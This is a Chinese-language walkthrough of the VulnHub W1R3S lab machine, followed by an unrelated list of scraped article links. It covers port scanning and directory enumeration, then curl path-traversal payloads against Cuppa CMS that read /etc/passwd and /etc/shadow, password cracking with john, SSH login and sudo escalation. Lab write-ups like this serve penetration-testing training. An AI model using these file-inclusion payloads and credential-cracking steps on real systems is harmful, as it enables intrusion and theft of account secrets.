前言

您受聘在W1R3S.inc单个服务器上进行渗透测试,并报告所有发现。他们要求您获得root访问权限并找到标志(位于/root目录中)。

难以获得低特权外壳:初级/中级

获得特权升级的难度:初级/中级

关于:这是一个易受攻击的Ubuntu盒子,给了你一些真实世界的场景,让我想起了OSCP实验室。

如果你需要任何提示、建议或有问题,请随时给我发电子邮件:在gmaildot.com上查看电线。

靶场环境

kali 192.168.31.153

w1r3s-1 192.168.31.42

靶机环境地址:https://www.vulnhub.com/entry/w1r3s-101,220/

渗透实战

信息收集

nmap扫描网段探测存活主机

nmap 192.168.31.0/24

发现了192.168.31.42,访问http://192.168.31.42,是一个普通的apache界面

使用nmap或者Zenmap扫描ip全端口信息,版本信息,操作系统信息

nmap 192.168.31.42 -sV -O -p- -A
-sV 扫描版本信息
-O 扫描操作系统
-p- 扫描全端口
-A 扫描详细信息

发现有ftp的21端口,并且允许匿名用户登录anonymous,展示了ftp下的三个文件

接着就是ssh的22端口,80端口和mysql的3306端口,并且3306端口并不是管理员端口

操作系统是ubuntu linux 3.x或者4.x版本

接着使用目录扫描器dirsearch简单枚举web页面

发现了/administrator/index.php,/wordpress/wp-login.php这俩目录

还有一点就是,扫描出的结果不能仅仅关注状态码为200的结果,可以看看301 302有些是可以跳转到其他地址的,访问http://192.168.31.42/administrator/index.php会跳转到http://192.168.31.42/administrator/installation/一个安装界面

使用whatweb扫描网站信息

whatweb http://192.168.31.42/administrator/installation/

发现网站是Apache2.4.18,Cuppa CMS 搭建的

到此就简单收集了端口信息和枚举了web页面

根据端口信息得到ftp的21端口可以匿名登录,我们使用ftp 192.168.31.42登录

ftp 192.168.31.42
anonymous //回车后需要输入密码,我们直接再回车一次匿名登录
ls
get content

登录成功但是无法提取文件,只能从web界面入手

渗透入侵

已知是Cuppa CMS搭建的系统,直接在https://www.exploit-db.com查找Cuppa此内容管理系统的历史漏洞,发现了有一个 本地/远程文件包含漏洞

看到左上角的EDB-ID:25971 是一家归档了的编号,可以拿到编号去kali使用searchsploit查找归档的信息或者脚本

查看poc提示,需要去包含一个文件,这里我直接访问/etc/passwd

http://192.168.31.42/administrator/alerts/alertConfigField.php?urlConfig=../../../../../../../../../etc/passwd

发现并没有显示信息,可能是需要post访问

使用curl工具以post方式获取信息

curl --data-urlencode urlConfig=../../../../../../../../../etc/passwd http://192.168.31.42/administrator/alerts/alertConfigField.php

发现了w1r3s的用户和root有/bin/bash权限

现在已知用户,要去查找密码,我们继续获取/etc/shadow文件的密码信息

curl -s  --data-urlencode urlConfig=../../../../../../../../../etc/shadow http://192.168.31.42/administrator/alerts/alertConfigField.php

发现有www-data和w1r3s的加密过的密码,因为只有w1r3s用户有权限,所以主要拿w1r3s的密码来爆破,这里使用kali自带的john工具爆破解密,先将用户和加密的密码复制到一个文本,再爆破

vim pass.txt
john --show pass.txt

得到密码是computer,前面已知有一个22端口,尝试登陆

ssh w1r3s@192.168.31.42
computer

提权

使用sudo su,输入密码直接登录

总结

信息收集:1.利用nmap扫描端口信息,2.dirsearch枚举web页面,3.whatweb探测网站信息

渗透webshell:1.cms漏洞获取敏感信息,2.john爆破获取w1r3s的密码,3.远程登录ssh获取webshell

提权:sudo提权

W1R3S-1项目实战的更多相关文章

  1. Asp.Net Core 项目实战之权限管理系统(4) 依赖注入、仓储、服务的多项目分层实现

    0 Asp.Net Core 项目实战之权限管理系统(0) 无中生有 1 Asp.Net Core 项目实战之权限管理系统(1) 使用AdminLTE搭建前端 2 Asp.Net Core 项目实战之 ...

  2. 给缺少Python项目实战经验的人

    我们在学习过程中最容易犯的一个错误就是:看的多动手的少,特别是对于一些项目的开发学习就更少了! 没有一个完整的项目开发过程,是不会对整个开发流程以及理论知识有牢固的认知的,对于怎样将所学的理论知识应用 ...

  3. 【腾讯Bugly干货分享】React Native项目实战总结

    本文来自于腾讯bugly开发者社区,非经作者同意,请勿转载,原文地址:http://dev.qq.com/topic/577e16a7640ad7b4682c64a7 “8小时内拼工作,8小时外拼成长 ...

  4. Asp.Net Core 项目实战之权限管理系统(0) 无中生有

    0 Asp.Net Core 项目实战之权限管理系统(0) 无中生有 1 Asp.Net Core 项目实战之权限管理系统(1) 使用AdminLTE搭建前端 2 Asp.Net Core 项目实战之 ...

  5. Asp.Net Core 项目实战之权限管理系统(1) 使用AdminLTE搭建前端

    0 Asp.Net Core 项目实战之权限管理系统(0) 无中生有 1 Asp.Net Core 项目实战之权限管理系统(1) 使用AdminLTE搭建前端 2 Asp.Net Core 项目实战之 ...

  6. Asp.Net Core 项目实战之权限管理系统(2) 功能及实体设计

    0 Asp.Net Core 项目实战之权限管理系统(0) 无中生有 1 Asp.Net Core 项目实战之权限管理系统(1) 使用AdminLTE搭建前端 2 Asp.Net Core 项目实战之 ...

  7. Asp.Net Core 项目实战之权限管理系统(3) 通过EntityFramework Core使用PostgreSQL

    0 Asp.Net Core 项目实战之权限管理系统(0) 无中生有 1 Asp.Net Core 项目实战之权限管理系统(1) 使用AdminLTE搭建前端 2 Asp.Net Core 项目实战之 ...

  8. Asp.Net Core 项目实战之权限管理系统(5) 用户登录

    0 Asp.Net Core 项目实战之权限管理系统(0) 无中生有 1 Asp.Net Core 项目实战之权限管理系统(1) 使用AdminLTE搭建前端 2 Asp.Net Core 项目实战之 ...

  9. Asp.Net Core 项目实战之权限管理系统(6) 功能管理

    0 Asp.Net Core 项目实战之权限管理系统(0) 无中生有 1 Asp.Net Core 项目实战之权限管理系统(1) 使用AdminLTE搭建前端 2 Asp.Net Core 项目实战之 ...

  10. Asp.Net Core 项目实战之权限管理系统(7) 组织机构、角色、用户权限

    0 Asp.Net Core 项目实战之权限管理系统(0) 无中生有 1 Asp.Net Core 项目实战之权限管理系统(1) 使用AdminLTE搭建前端 2 Asp.Net Core 项目实战之 ...

随机推荐

  1. 二进制安装Kubernetes(k8s) v1.23.7 IPv4/IPv6双栈

    二进制安装Kubernetes(k8s) v1.23.7 IPv4/IPv6双栈 Kubernetes 开源不易,帮忙点个star,谢谢了 介绍 kubernetes二进制安装 后续尽可能第一时间更新 ...

  2. Linux磁盘LVM根目录扩容

    LVM 的基本概念 物理卷 Physical Volume (PV):可以在上面建立卷组的媒介,可以是硬盘分区,也可以是硬盘本身或者回环文件(loopback file).物理卷包括一个特殊的 hea ...

  3. KubeSphere 高可用集群搭建并启用所有插件

    介绍 大多数情况下,单主节点集群大致足以供开发和测试环境使用.但是,对于生产环境,您需要考虑集群的高可用性.如果关键组件(例如 kube-apiserver.kube-scheduler 和 kube ...

  4. [Maven]探究settings.xml

    1 settings.xml的配置模块 1-1 localRepository The path to the local repository maven will use to store art ...

  5. Linux(五)用户管理与文件权限

    1 常用的基本命令 Shell可以看作一个命令解释器,为我们提供一个交互式的文本控制台界面,可以通过终端控制台来输入命令,由shell进行解释并最终交给linux内核运行.可以看作用户和硬件的桥梁. ...

  6. 非关系型数据库---Redis安装与基本使用

    一.数据库类型 关系数据库管理系统(RDBMS) 非关系数据库管理系统(NoSQL) 按照预先设置的组织机构,将数据存储在物理介质上(即:硬盘上) 数据之间可以做无关联操作 (例如: 多表查询,嵌套查 ...

  7. [OpenCV-Python] 4 图像读取

    文章目录 OpenCV-Python: II OpenCV 中的 Gui 特性 4 图片 4.1 读入图像 4.2 显示图像 4.3 保存图像 4.4 总结一下 OpenCV-Python: II O ...

  8. mysql基础_事务

    定义 一个事务其实就是一个完整的业务逻辑,是一个最小的工作单元,不可再分,事务会把所有的操作作为一个整体一起向系统提交或撤销操作请求,即这些操作要么同时成功,要么同时失败. 例如:王五向赵六的账户上转 ...

  9. Finalshell

    使用VMware可以得到Linux虚拟机,但是在VMware中操作Linux的命令行页面不太方便 1.内容的复制.粘贴跨越VMware不方便 2.文件的上传.下载跨越VMware不方便 3.也就是和L ...

  10. 2022-03-15:给定一棵树的头节点head,原本是一棵正常的树, 现在,在树上多加了一条冗余的边, 请找到这条冗余的边并返回。

    2022-03-15:给定一棵树的头节点head,原本是一棵正常的树, 现在,在树上多加了一条冗余的边, 请找到这条冗余的边并返回. 答案2022-03-15: 1.指向头,入度没有0的.入度没有2的 ...